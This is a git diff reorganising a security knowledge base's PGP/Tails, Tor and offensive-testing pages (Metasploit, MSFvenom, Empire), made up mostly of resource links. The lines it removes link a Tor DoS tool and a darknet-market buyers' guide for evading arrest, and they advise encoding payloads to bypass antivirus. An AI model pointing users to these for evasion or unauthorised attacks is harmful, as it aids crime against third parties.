KGUptCZ5wjtv8IJPcX25REYBq6xCI7XNiup7YOXDhNpmlKCJMTXDP9A9zn/Q2Vjh Meztnx5P9K51tkhCrj0f43CMyeGV561GuaHBKuXNC9DxO5XPBURcHhIxWE3fJyCP B8rC+4gqItY0bvgqcyYRYDy2+qMirEiUl+mlxgJWFQsPRWLgsvM= =eSMz -----END PGP SIGNATURE----- END Outputgpg: Signature made Mon 03 Dec 2018 02:59:46 PM EST gpg: using RSA key 04744DF4701F67517F2010993016D369781721A8 gpg: BAD signature from "opie\_ [opie@tt3j2x4k5ycaa5zt.onion](mailto:opie@tt3j2x4k5ycaa5zt.onion)" \[ultimate] +```bash +gpg --verify message.txt.asc +gpg --verify file.zip.asc file.zip +``` -## Tails with PGP +If verification fails after any text changes, treat the content as modified. -Let's learn how to use PGP within Tails. First thing you are going to want to do is create your own personal key, which consists of your public key that you can give out to people or post in your profiles online. As mentioned before, this is the key people use to encrypt messages to send to you. Your personal key also consists of your private key which you can use to decrypt messages that are encrypted using your PGP public key. If you look up to the top right area, you will see a list of icons, and one o them looks like a clipboard. You need to click on that clipboard and click Manage Keys Next click File ­> New Select PGP Key and click Continue Fill out your full name (I suggest you use your online name, not your real name) Optionally fill out an email and a comment as well. Next, click Advanced Key Options. Make sure Encryption type is set to RSA and set key strength to 4096. Once you have done this, click Create and it will generate your key. Once you have done this, you can view your personal key by clicking the tab My Personal Keys. You have now created your personal key! To find your PGP public key, you Right click on your personal key and click Copy and it will copy your PGP public key to your clipboard, in which you can paste anywhere you wish. Next, you are going to want to save the private key on a secondary USB drive or SD card. If you are running Tails from a USB drive, then you must use a separate drive to store your key on. If you are running Virtual Box, you want to right click on the icon in the bottom right corner that looks like a USB drive, and select your separate drive that you will be using to store your keys on. Again, never store your private keys on your hard drive, keep them OFF your computer. To save your private key, you are going to right click on your personal key and click Properties. I know you probably saw where it says Export, but this is not what you want to do. Clicking export will ONLY export your public key and will not save your private key. If you lose your private key, you can never recover it even if you create another personal key using the exact same password. Each private key is unique to the time it was created and if lost, is lost forever. So once you have clicked Properties, go over to the tab Details and click Export Complete Key. Once you have done this, you have saved your personal key for future use once you restart Tails. Remembering that Tails is not installed on your hard drive, so every time you restart Tails you lose all your keys. By saving your keys onto a USB drive or SD card, you can import your keys for use every time you restart it. Next you are going to want to learn how to encrypt and decrypt messages using your key. Well, luckily for me, Tails has already made a tutorial on how to do this, so I will refer you to their webpage. But before I do that, I need to mention that you need to find somebody else's PGP public key, or you can practice by using your own. Needless to say, the way you import other people's keys into what's called your key ring is by loading them into a text file. You do this with the program called gedit Text Editor. Click Applications ­> Accessories ­> gedit Text Editor and enter in someone's public key and hit save. Next you can return to your key program from the clipboard icon and click File ­> Import and select that file. It will import that person's public key into your key ring. To add future public keys to your key ring, I suggest reopening the same file and just adding the next key below the previous key and each time you open that file it will load all keys within that file. This way you can keep all the PGP public keys together in one file and save it on your SD card or USB drive for future use. Finally you can use the following 2 pages to learn how to encrypt and decrypt messages using PGP. +## Tails and OpenPGP -hxxps://tails.boum.org/doc/encryption\_and\_privacy/gpgapplet/public­key\_cryptography/index.en.html +Tails no longer uses the old `gpgapplet` documentation paths commonly found in historical guides. Use the current Tails encryption and OpenPGP documentation for supported workflows. -hxxps://tails.boum.org/doc/encryption\_and\_privacy/gpgapplet/decrypt\_verify/index.en.html +{% content-ref url="jolly-rogers-security-for-beginners.md" %} +[jolly-rogers-security-for-beginners.md](jolly-rogers-security-for-beginners.md) +{% endcontent-ref %} diff --git a/grey-privacy-tor-opsec/tor.md b/grey-privacy-tor-opsec/tor.md index 3c00cd6..795916e 100644 --- a/grey-privacy-tor-opsec/tor.md +++ b/grey-privacy-tor-opsec/tor.md @@ -1,64 +1,77 @@ -# TOR +--- +description: Tor fundamentals, privacy routing, bridges, onion-service notes, and safe references. +--- -[TOR](https://www.torproject.org) +# Tor -### TOR Tools +Tor privacy work should start with the official Tor Browser, Tails, or Whonix documentation. Dark-web search, onion indexing, and threat-intelligence feeds live in Cyber Intelligence; Tor-based routing for authorized offensive testing lives in Red Offensive. -* [Awesome Lists Collection: TOR](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/AnonOpSecPrivacy.md) -* [https://geti2p.net/en/](https://geti2p.net/en/) - Kinda like TOR? -* [nipe](https://github.com/htrgouvea/nipe) - Tool to make TOR your default gateway +## Official References + +* [Tor Project](https://www.torproject.org/) +* [Tor Browser](https://www.torproject.org/download/) +* [Check Tor](https://check.torproject.org/) - Verify that your browser is using Tor. +* [Tor Metrics](https://metrics.torproject.org/) - Tor relay and network statistics. +* [ExoneraTor](https://metrics.torproject.org/exonerator.html) - Check whether an IP address was a Tor relay on a specific date. +* [EFF Surveillance Self-Defense: How to use Tor](https://ssd.eff.org/en/module/how-use-tor-windows) + +## Privacy Routing Tools + +* [Tails](https://tails.net/) - Amnesic live operating system that routes connections through Tor. +* [Whonix](https://www.whonix.org/) - Tor-focused desktop OS using gateway/workstation isolation. +* [I2P](https://geti2p.net/en/) - Separate anonymity network. See Cyber Intelligence for I2P search resources. +* [nipe](https://github.com/htrgouvea/nipe) - Routes Linux traffic through Tor. Use carefully; Tor Browser/Tails/Whonix are safer defaults for most users. * [Hackersploit nipe guide](https://youtu.be/ec37is2yyMo) -* [onionscan.org](https://onionscan.org/) - OnionScan is a free and open source tool for investigating the Dark Web. -* [dos-over-tor](https://github.com/skizap/dos-over-tor) -* [Kalitorify](https://github.com/brainfuckSec/kalitorify) - Transparent proxy through Tor for Kali Linux OS -* [vanguards](https://github.com/mikeperry-tor/vanguards) - Onion services defense tools -* [OnionBalence](https://onionbalance.readthedocs.io/en/latest/) - Onionbalance is the best way to load balance onion services across multiple backend Tor instances. -* [multitor](https://github.com/trimstray/multitor) - Create multiple TOR instances with a load-balancing -* [CrowdStrike/Tortilla](https://github.com/CrowdStrike/Tortilla) - Route all network through Tor. - * [Hackersploit's guide to Tortilla](https://youtu.be/hcKpROGDXOM) -* [https://iaca-darkweb-tools.com](https://iaca-darkweb-tools.com) - A collection of darkweb search tools. Allows you to query .onion search engines, marketplaces and social media sites. - -* [https://torrouters.com/](https://torrouters.com/) - THOR is a hardware version of the Tor (The Onion Router) bundle, which provides you with anonymity and privacy you need to bypass any ISP restrictions and enhance your privacy online. - -### Tor Bridges - alternative entry points for Tor that are not listed - -* [https://tails.boum.org/doc/first\_steps/startup\_options/bridge\_mode/index.en.html](https://tails.boum.org/doc/first_steps/startup_options/bridge_mode/index.en.html) -* [https://bridges.torproject.org/bridges](https://bridges.torproject.org/bridges) -* Some networks may block port TCP 9050 or even dynamically blacklist all Tor nodes in an attempt to prevent thier users from accessing the Tor network and get around access control -* This can be over come by useing Tor bridges. -* This can be configured to use by adding the bridge information to the torrc file like below - * \#Bridge fte 128.105.214.163:8080 \[hash] -* Obfuscated bridges - bridges that use special plug-ins called pluggable transports which obfuscate the traffic flow of Tor making its detection harder - * [https://www.torproject.org/docs/bridges#PluggableTransports](https://www.torproject.org/docs/bridges#PluggableTransports) - * Get these by requesting one by using a gmail/yahoo account and email bridges@bridges.torproject.org and enter “transport obfs3” - * Tor Pluggable Transports Tor Browser Bundle - -### Interesting Tor pages - -* [Hidden Wiki](https://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion.pet/wiki/index.php/Main_Page) - A large and neatly organized directory of .onion sites. - * [Darknet Version](https://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion/wiki/index.php/Main_Page) -* [https://hidden-services.today](https://hidden-services.today) - Place with fresh links to TOR services hidden that is free of spam and scam sites. Only trusted and safe links are provided. -* [https://www.hunch.ly/darkweb-osint/](https://www.hunch.ly/darkweb-osint/) - Identify new hidden services, or find investigation targets that you might not have otherwise known about. It is 100% free and every day you will receive a link to a spreadsheet you can download or view online. Requires you to provide an email address to join their mailing list. -* [TOR66](http://tor66sewebgixwhcqfnp5inzp5x5uohhdy3kvtnyfxc2e5mxiuh34iid.onion/fresh) - An onion site that lists newly discovered onion sites that have been submitted from a variety of different clearnet platforms. -* [H-Indexer](http://jncyepk6zbnosf4p.onion/onions.html) - Another onion site that offers a list of fresh onions. Beware, results are often uncensored, so you may encounter illegal material. -* [https://osint.party/api/rss/fresh](https://osint.party/api/rss/fresh) - An amazing RSS feed of fresh and newly discovered .onion sites. Be careful, this feed remains uncensored, so you may encounter illegal content. -* [https://www.bigdatacloud.com/insights/tor-exit-nodes](https://www.bigdatacloud.com/insights/tor-exit-nodes) -* [Dread](https://www.deeponionweb.com/dread-forum/) - Reddit of the darkweb - * [https://cafedread.com](https://cafedread.com) - A read-only archive of the Dread forum. Read the latest posts and comments. Also supports reading via Atom feeds. -* [http://hacktownpagdenbb.onion/HackTown.html](http://hacktownpagdenbb.onion/HackTown.html) - One of my favorite sites on learning the operations of a black hat. -* [https://metrics.torproject.org/exonerator.html](https://metrics.torproject.org/exonerator.html) - Enter an IP address and date to find out whether that address was used as a Tor relay. - -### Check yourself - -* [https://www.dnsleaktest.com/results.html](https://www.dnsleaktest.com/results.html) - Check for DNS leaks in your TOR connection -* [https://check.torproject.org/](https://check.torproject.org/) - Are you connected to TOR? Are you sure? - -### Misc Reference - -* [Darknet Markey Buyers Guide](http://biblemeowimkh3utujmhm6oh2oeb3ubjw2lpgeq3lahrfr2l6ev6zgyd.onion/content/index.html) - The buyer’s DNM bible aims to be a complete guide that covers all steps that users have to take in order to buy securely from darknet markets. It orientates itself on OPSEC best practices and, if exactly followed, will greatly minimize the risk of you getting caught. - * [https://archive.org/details/darknet-market-buyers-bible](https://archive.org/details/darknet-market-buyers-bible) - - - -### Learn to TOR - -* [https://tryhackme.com/room/torforbeginners](https://tryhackme.com/room/torforbeginners) +* [torrouters.com](https://torrouters.com/) - Hardware Tor router project. Verify current availability before purchasing. + +## Bridges and Pluggable Transports + +Bridges are Tor entry points that are not listed in the public relay directory. They help when a network blocks known Tor relays. + +* [Tor Browser bridge documentation](https://support.torproject.org/censorship/censorship-7/) +* [Tor bridges](https://bridges.torproject.org/bridges) +* [Tails bridge mode](https://tails.net/doc/anonymous_internet/tor/index.en.html#bridges) +* Modern bridge workflows generally use pluggable transports such as **obfs4**, **meek**, or **Snowflake**. Older obfs2/obfs3 instructions are deprecated. +* To request bridges by email, follow the current Tor Project instructions rather than copying old transport-specific examples. + +## Onion Service Operators + +* [vanguards](https://github.com/mikeperry-tor/vanguards) - Onion-service defense tooling. +* [Onionbalance](https://onionbalance.readthedocs.io/en/latest/) - Load balances onion services across multiple backends. + +## Self-Checks + +* [DNS Leak Test](https://www.dnsleaktest.com/) - Check whether DNS requests leak outside the intended resolver path. +* [ipleak.net](https://ipleak.net/) - Check IP, DNS, WebRTC, and browser fingerprint exposure. +* [BrowserLeaks](https://browserleaks.com/) - Browser privacy and fingerprinting checks. +* [Cover Your Tracks](https://coveryourtracks.eff.org/) - EFF browser tracking and fingerprinting test. + +## Dark-Web Search and OSINT + +Dark-web investigation resources are maintained in Cyber Intelligence. Use them as untrusted data sources, and expect onion links to churn frequently. + +{% content-ref url="../cyber-intelligence/osint/dark-web-search.md" %} +[dark-web-search.md](../cyber-intelligence/osint/dark-web-search.md) +{% endcontent-ref %} + +{% content-ref url="../cyber-intelligence/intel-feeds-and-sources.md" %} +[intel-feeds-and-sources.md](../cyber-intelligence/intel-feeds-and-sources.md) +{% endcontent-ref %} + +## Authorized Offensive Routing + +Tor routing tools used for labs, pivoting, or offensive infrastructure belong with Red Offensive. Do not treat pentest routing utilities as personal anonymity guarantees. + +{% content-ref url="../red-offensive/testing-methodology/lateral-movement.md" %} +[lateral-movement.md](../red-offensive/testing-methodology/lateral-movement.md) +{% endcontent-ref %} + +{% content-ref url="../red-offensive/offensive-toolbox/" %} +[offensive-toolbox](../red-offensive/offensive-toolbox/) +{% endcontent-ref %} + +## Training + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} diff --git a/red-offensive/README.md b/red-offensive/README.md index e1a1b90..27f40e8 100644 --- a/red-offensive/README.md +++ b/red-offensive/README.md @@ -1,110 +1,122 @@ --- -description: Offensive Security and Penetration Testing +description: Authorized offensive security resources for reconnaissance, exploitation, post-exploitation, Active Directory attacks, password attacks, and red team operations. --- # Red - Offensive Operations -## **Intro** +Red Offensive is the home for authorized offensive security work: reconnaissance, scanning, exploitation, payloads, post-exploitation, lateral movement, Active Directory attacks, password attacks, red/purple teaming, wireless, social engineering, and physical security testing. -Offensive security is a huge realm with dozens of different paths and specialties for aspiring hackers of all types. It can be daunting at first, with the sheer volume of tools you can use, technologies you have to learn about, processes, and procedures. For those getting started, under stand one thing: If it works, then its the right thing for you! As the saying goes, "there are many ways to skin a cat". Same goes for hacking your target.\ -My personal advice is to try test every tool and technique you come across. There are gems hidden out there that work famously or will work famously for you. Even if it fails, you will learn the technical reason why and that can even lead you to developing your own cool hacking tool! +This section should not become a catch-all for every security resource. Passive OSINT belongs in Cyber Intelligence, web application testing belongs in Web App Hacking, malware analysis belongs in DFIR, and detection engineering belongs in Blue Defense. -## Resources: Offensive Security/ Penetration Testing +## How to Use This Section -When on an offensive security team, there are different levels of engagement that you will have, as well as different sets of rules you must follow, sometimes from engagement to engagement. Of those, one of the most common you will face is a simple Vulnerability assessment. This is little more than testing for the presence of a vulnerability. Sometimes its for a popular vulnerability that is trending in the news, or for an outdated server that reported poorly on the last vulnerability scan. Either way, they are quick, easy, but tedious and tend to have plenty of paperwork to go along with them.\ -The other type of tasks will be a full penetration test. Some times its a white box test with full knowledge of your target, as well as the target having full knowledge of you. Other times it will be a black box stealth mission to see how badly you can compromise your target. +Start with the engagement scope and rules of engagement. Then move through the pages based on where you are in the test: -When performing a structured penetration test, following/documenting proper procedure will be key to explaining your success and justifying your findings. Below are some formal and informal resources that should help you set up your own processes, toolkit, and documentation. +{% content-ref url="scanning-active-recon/" %} +[scanning-active-recon](scanning-active-recon/) +{% endcontent-ref %} -
+{% content-ref url="exploitation-and-targets/" %} +[exploitation-and-targets](exploitation-and-targets/) +{% endcontent-ref %} -Official Penetration Testing Guides +{% content-ref url="testing-methodology/post-exploitation/" %} +[post-exploitation](testing-methodology/post-exploitation/) +{% endcontent-ref %} -* Pen Test Standard Guide - [http://www.pentest-standard.org/index.php/PTES\_Technical\_Guidelines](http://www.pentest-standard.org/index.php/PTES\_Technical\_Guidelines) -* Vulnerability Assessment Guide - [http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html](http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html) -* OSSTMM3 - [https://www.isecom.org/OSSTMM.3.pdf](https://www.isecom.org/OSSTMM.3.pdf) -* [NIST SP:800-115](https://csrc.nist.gov/publications/detail/sp/800-115/final) - Technical Guide to Information Security Testing and Assessment +{% content-ref url="testing-methodology/active-directory.md" %} +[active-directory.md](testing-methodology/active-directory.md) +{% endcontent-ref %} -
+{% content-ref url="testing-methodology/lateral-movement.md" %} +[lateral-movement.md](testing-methodology/lateral-movement.md) +{% endcontent-ref %} -
+{% content-ref url="testing-methodology/password-attacks.md" %} +[password-attacks.md](testing-methodology/password-attacks.md) +{% endcontent-ref %} -Researcher Developed Guides and Resources +{% content-ref url="red-purple-teaming.md" %} +[red-purple-teaming.md](red-purple-teaming.md) +{% endcontent-ref %} -* [https://book.hacktricks.xyz](https://book.hacktricks.xyz) -* [https://www.thehacker.recipes/](https://www.thehacker.recipes/) -* [https://www.ired.team/](https://www.ired.team/) -* [https://guif.re/](https://guif.re/) -* [https://www.0daysecurity.com/penetration-testing/penetration.html](https://www.0daysecurity.com/penetration-testing/penetration.html) -* Hacking without Metasploit - [https://hakluke.medium.com/haklukes-guide-to-hacking-without-metasploit-1bbbe3d14f90](https://hakluke.medium.com/haklukes-guide-to-hacking-without-metasploit-1bbbe3d14f90) -* [https://github.com/nixawk/pentest-wiki](https://github.com/nixawk/pentest-wiki) -* [https://danielmiessler.com/projects/webappsec\_testing\_resources/](https://danielmiessler.com/projects/webappsec\_testing\_resources/) -* [https://threatexpress.com/blogs/2019/penetration-testing-pasties/](https://threatexpress.com/blogs/2019/penetration-testing-pasties/) -* [https://kwcsec.gitbook.io/the-red-team-handbook/](https://kwcsec.gitbook.io/the-red-team-handbook/) +{% content-ref url="offensive-toolbox/" %} +[offensive-toolbox](offensive-toolbox/) +{% endcontent-ref %} -
+## Methodology and Engagement References -
+* [PTES Technical Guidelines](http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines) - Penetration Testing Execution Standard. +* [OSSTMM 3](https://www.isecom.org/OSSTMM.3.pdf) - Open Source Security Testing Methodology Manual. +* [ISECOM](https://www.isecom.org/) - Community behind OSSTMM and related security methodology resources. +* [NIST SP 800-115](https://csrc.nist.gov/publications/detail/sp/800-115/final) - Technical Guide to Information Security Testing and Assessment. +* [HackTricks](https://book.hacktricks.xyz/) +* [The Hacker Recipes](https://www.thehacker.recipes/) +* [iRed Team](https://www.ired.team/) +* [Guif.re](https://guif.re/) +* [Hakluke: Hacking Without Metasploit](https://hakluke.medium.com/haklukes-guide-to-hacking-without-metasploit-1bbbe3d14f90) +* [Pentest Wiki](https://github.com/nixawk/pentest-wiki) +* [Penetration Testing Pasties](https://threatexpress.com/blogs/2019/penetration-testing-pasties/) +* [The Red Team Handbook](https://kwcsec.gitbook.io/the-red-team-handbook/) -CheatSheets +Web application testing resource lists are maintained in Web App Hacking. -* [https://github.com/coreb1t/awesome-pentest-cheat-sheets](https://github.com/coreb1t/awesome-pentest-cheat-sheets) -* [https://owasp.org/www-project-cheat-sheets/](https://owasp.org/www-project-cheat-sheets/) -* [https://github.com/OlivierLaflamme/Cheatsheet-God](https://github.com/OlivierLaflamme/Cheatsheet-God) -* [https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/](https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/) -* [https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/](https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/) +{% content-ref url="../web-app-hacking/" %} +[web-app-hacking](../web-app-hacking/) +{% endcontent-ref %} -
+## Cheat Sheets -## Notekeeping/Report Writing +* [Awesome Pentest Cheat Sheets](https://github.com/coreb1t/awesome-pentest-cheat-sheets) +* [Cheatsheet God](https://github.com/OlivierLaflamme/Cheatsheet-God) +* [HighOn.Coffee Penetration Testing Cheat Sheet](https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/) +* [SANS Cheat Sheets](https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/) -Notekeeping becomes incredibly important in recreating exploits, storing essential findings, keeping screenshots, common commands you ran to reach an outcome and more. Without sufficient notekeeping you’re only setting yourself up to fail. +OWASP cheat sheets are kept with web application testing unless they are directly tied to an offensive workflow on a Red page. -
+## Notes and Reporting -Report Writing Guides +Good offensive work depends on clean notes, reproducible commands, screenshots, and clear reporting. -* [https://www.trustedsec.com/tools/physical-security-assessment-documentation/](https://www.trustedsec.com/tools/physical-security-assessment-documentation/) -* [https://www.blackhillsinfosec.com/tag/pentest-reports/](https://www.blackhillsinfosec.com/tag/pentest-reports/) -* [https://zeltser.com/writing-tips-for-it-professionals/](https://zeltser.com/writing-tips-for-it-professionals/) -* [https://zeltser.com/security-assessment-report-cheat-sheet/](https://zeltser.com/security-assessment-report-cheat-sheet/) -* [https://zeltser.com/human-communications-cheat-sheet/](https://zeltser.com/human-communications-cheat-sheet/) +### Report Writing -
+* [TrustedSec Physical Security Assessment Documentation](https://www.trustedsec.com/tools/physical-security-assessment-documentation/) +* [Black Hills Pentest Reports](https://www.blackhillsinfosec.com/tag/pentest-reports/) +* [Zeltser: Writing Tips for IT Professionals](https://zeltser.com/writing-tips-for-it-professionals/) +* [Zeltser: Security Assessment Report Cheat Sheet](https://zeltser.com/security-assessment-report-cheat-sheet/) +* [Zeltser: Human Communications Cheat Sheet](https://zeltser.com/human-communications-cheat-sheet/) + +### Note Taking -{% tabs %} -{% tab title="Note Taking Apps" %} * [CherryTree](https://www.giuspen.com/cherrytree/) * [Joplin](https://joplinapp.org/) * [OneNote](https://www.onenote.com) * [Obsidian](https://obsidian.md/) -* Trilium: [https://github.com/zadam/trilium](https://github.com/zadam/trilium) -* KeepNote: [http://keepnote.org/](http://keepnote.org/) -* [https://asciinema.org/](https://asciinema.org/) -{% endtab %} - -{% tab title="Screenshot Tools" %} -* [https://github.com/flameshot-org/flameshot](https://github.com/flameshot-org/flameshot) -* [https://getgreenshot.org/](https://getgreenshot.org/) -* Linux Native utility - Ctrl +Shift+PrintSreen -{% endtab %} - -{% tab title="Report Generation Tools" %} -* [Ghostwriter](https://github.com/GhostManager/Ghostwriter) - The SpecterOps project management and reporting engine -* [APTRS](https://github.com/Anof-cyber/APTRS) - APTRS (Automated Penetration Testing Reporting System) is an automated reporting tool in Python and Django. The tool allows Penetration testers to create a report directly without using the Traditional Docx file. It also provides an approach to keeping track of the projects and vulnerabilities. -{% endtab %} - -{% tab title="Templates/Examples" %} -* [https://github.com/nationalcptc/report\_examples](https://github.com/nationalcptc/report\_examples) -* [https://github.com/tjnull/TJ-JPT](https://github.com/tjnull/TJ-JPT) -* [https://noraj.github.io/OSCP-Exam-Report-Template-Markdown/](https://noraj.github.io/OSCP-Exam-Report-Template-Markdown/) -* [https://github.com/fransr/template-generator](https://github.com/fransr/template-generator) -* [https://github.com/ZephrFish/BugBountyTemplates](https://github.com/ZephrFish/BugBountyTemplates) -* [https://github.com/juliocesarfort/public-pentesting-reports](https://github.com/juliocesarfort/public-pentesting-reports) -* [https://411hall.github.io/assets/files/CTF\_template.ctb](https://411hall.github.io/assets/files/CTF\_template.ctb) -{% endtab %} -{% endtabs %} - -## **Training and Resources** - -For resources including offensive security courses, books, CTFs and much more, please check out the Training and Resources section of this guide. +* [Trilium](https://github.com/zadam/trilium) +* [asciinema](https://asciinema.org/) - Terminal session recording. +* **KeepNote** - Legacy note-taking tool. Kept only for historical references and old OSCP-style workflows. + +### Screenshots + +* [Flameshot](https://github.com/flameshot-org/flameshot) +* [Greenshot](https://getgreenshot.org/) +* Native Linux screenshot shortcut: `Ctrl+Shift+PrintScreen` + +### Report Generation + +* [Ghostwriter](https://github.com/GhostManager/Ghostwriter) +* [APTRS](https://github.com/Anof-cyber/APTRS) +* [National CPTC Report Examples](https://github.com/nationalcptc/report_examples) +* [TJ-JPT](https://github.com/tjnull/TJ-JPT) +* [OSCP Exam Report Template](https://noraj.github.io/OSCP-Exam-Report-Template-Markdown/) +* [Fransr Template Generator](https://github.com/fransr/template-generator) +* [BugBountyTemplates](https://github.com/ZephrFish/BugBountyTemplates) +* [Public Pentesting Reports](https://github.com/juliocesarfort/public-pentesting-reports) + +## Training + +Offensive courses, labs, CTFs, TryHackMe rooms, and books live in Training. + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} diff --git a/red-offensive/exploitation-and-targets/README.md b/red-offensive/exploitation-and-targets/README.md new file mode 100644 index 0000000..27d4c96 --- /dev/null +++ b/red-offensive/exploitation-and-targets/README.md @@ -0,0 +1,45 @@ +# Exploitation and Targets + +Use this section for authorized exploitation workflows after reconnaissance has identified targets and services. It covers exploit research, offensive frameworks, payloads, shells, service-specific exploitation, special targets, and exploit development. + +Web application vulnerabilities have their own section. This page links there when a target turns into a web application test instead of duplicating the full web-app tree under Red Offensive. + +{% content-ref url="../../web-app-hacking/" %} +[web-app-hacking](../../web-app-hacking/) +{% endcontent-ref %} + +## Exploit Research + +{% content-ref url="../testing-methodology/exploit-research.md" %} +[exploit-research.md](../testing-methodology/exploit-research.md) +{% endcontent-ref %} + +## Offensive Frameworks and Payloads + +{% content-ref url="offensive-frameworks.md" %} +[offensive-frameworks.md](offensive-frameworks.md) +{% endcontent-ref %} + +{% content-ref url="../testing-methodology/payloads-and-obfuscation/msfvenom-commands.md" %} +[msfvenom-commands.md](../testing-methodology/payloads-and-obfuscation/msfvenom-commands.md) +{% endcontent-ref %} + +{% content-ref url="shells.md" %} +[shells.md](shells.md) +{% endcontent-ref %} + +## Exploitation by Target + +{% content-ref url="../testing-methodology/exploitation.md" %} +[exploitation.md](../testing-methodology/exploitation.md) +{% endcontent-ref %} + +{% content-ref url="special-targets.md" %} +[special-targets.md](special-targets.md) +{% endcontent-ref %} + +## Exploit Development + +{% content-ref url="../testing-methodology/exploit-dev-buffer-overflow.md" %} +[exploit-dev-buffer-overflow.md](../testing-methodology/exploit-dev-buffer-overflow.md) +{% endcontent-ref %} diff --git a/red-offensive/exploitation-and-targets/offensive-frameworks.md b/red-offensive/exploitation-and-targets/offensive-frameworks.md index 799c528..8934b51 100644 --- a/red-offensive/exploitation-and-targets/offensive-frameworks.md +++ b/red-offensive/exploitation-and-targets/offensive-frameworks.md @@ -2,17 +2,15 @@ ## **Metasploit** -The one offensive framework to rule them all. By far the most popular, Metasploit has become a staple for penetration testers everywhere. Metasploit contains 3 basic components you need to know.\ +Metasploit is one of the most widely used exploitation frameworks in penetration testing. Metasploit contains three core components you need to know.\ Metasploit modules are the exploit commands and code needed to exploit a specific vulnerability. There are tons of them and more are constantly added to the database when new exploit code is developed. For those looking to take the infamous OSCP exam, the exploit code itself can be used on the exam, but can only be used once through Metasploit itself for auto-exploitation.\ -Merterpreter is the advanced shell that comes with Metasploit. It comes with a slew of added commands you would not be able to use in a traditional shell, including easy privilege escalation. This shell has become easier and easier to detect with AV and EDR solutions, so advanced encoding is usually required, but well worth the effort.\ -MSVenom is a tool that can encode your payloads to bypass detection by your targets defenses. You will quickly get used to encoding everything you use. You can even chain encodings together +Meterpreter is the advanced shell that comes with Metasploit. It has many post-exploitation commands that are not available in a traditional shell, but it is also heavily detected by modern security tools.\ +MSFvenom generates payloads in many formats. Do not assume encoding is a bypass; modern EDR and AV products frequently detect common Metasploit payload patterns. {% tabs %} {% tab title="Guides" %} * [https://www.offensive-security.com/metasploit-unleashed/](https://www.offensive-security.com/metasploit-unleashed/) * [Metasploit | No Starch Press](https://nostarch.com/metasploit) -* [https://tryhackme.com/room/metasploitintro](https://tryhackme.com/room/metasploitintro) -* [https://tryhackme.com/room/rpmetasploit](https://tryhackme.com/room/rpmetasploit) * [https://www.tunnelsup.com/metasploit-cheat-sheet/](https://www.tunnelsup.com/metasploit-cheat-sheet/) * __[Metasploit-Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md) * [Metasploit for Pentester: Creds](https://www.hackingarticles.in/metasploit-for-pentester-creds/) @@ -27,7 +25,7 @@ MSVenom is a tool that can encode your payloads to bypass detection by your targ * _PTFM: Metasploit Commands - pg. 160_ * _PTFM: Persistence with Metasploit/Empire - pg. 26_ * _PTFM: Host Enumeration with Metasploit/Empire - pg. 46_ -* _PTFM: Metasploit/Emipre Pass-the-hash - pg. 52_ +* _PTFM: Metasploit/Empire Pass-the-hash - pg. 52_ * _Operator Handbook: Metasploit - pg.198_ * _Operator Handbook: MSFVenom - pg.208_ {% endtab %} @@ -56,28 +54,20 @@ MSVenom is a tool that can encode your payloads to bypass detection by your targ
-Armitage: the Metasploit GUI +Armitage: legacy Metasploit GUI -[Armitage](https://tools.kali.org/exploitation-tools/armitage): The Metasploit GUI +[Armitage](https://tools.kali.org/exploitation-tools/armitage) is a legacy Metasploit GUI. Keep it as a historical reference, but prefer current Metasploit workflows for new testing. * [Cortana-scripts](https://github.com/rsmudge/cortana-scripts) - A collection of Cortana scripts that you may use with Armitage and Cobalt Strike 2.x. Cortana Scripts are not compatible with Cobalt Strike 3.x. Cobalt Strike 3.x uses a variant of Cortana called Aggressor Script. * [https://www.offensive-security.com/metasploit-unleashed/armitage/](https://www.offensive-security.com/metasploit-unleashed/armitage/)
-
- -MSFVenom - The Metasploit Payload Encode - -### [MSFVenom](https://www.offensive-security.com/metasploit-unleashed/msfvenom/) - The Metasploit Payload Encoder - -* msfvenom cheatsheet - [https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/](https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/) -* msfvenom payloads - [https://github.com/Shiva108/CTF-notes/blob/master/msfvenom.html](https://github.com/Shiva108/CTF-notes/blob/master/msfvenom.html) -* msfvenom basic guide - [https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom) -* Blackhills Infosec. msfvenom advanced payload guide - [https://www.blackhillsinfosec.com/advanced-msfvenom-payload-generation/](https://www.blackhillsinfosec.com/advanced-msfvenom-payload-generation/) -* msfvenom payload calculator - [https://github.com/g0tmi1k/msfpc](https://github.com/g0tmi1k/msfpc) +MSFvenom commands and payload-generation references are maintained on the MSFVenom page. -
+{% content-ref url="../testing-methodology/payloads-and-obfuscation/msfvenom-commands.md" %} +[msfvenom-commands.md](../testing-methodology/payloads-and-obfuscation/msfvenom-commands.md) +{% endcontent-ref %}
@@ -101,28 +91,26 @@ MSVenom is a tool that can encode your payloads to bypass detection by your targ ## ****[**PowerShell Empire**](https://github.com/BC-SECURITY/Empire)**** -Empire 3 is a post-exploitation framework that includes a pure-PowerShell Windows agent, and compatibility with Python 3.x Linux/OS X agents. It is the merger of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and flexible architecture.\ -Empire was formerly an abandoned project that BC-Securty has revived. Please be aware when reading old posts or guides about Emipre that they may not be completely accurate to the new version of the project. +Empire is a post-exploitation framework maintained by BC Security. It includes Windows, Linux, and macOS agent support, plus the Starkiller UI. Older PowerShell Empire and EmPyre guides may not match current Empire behavior.
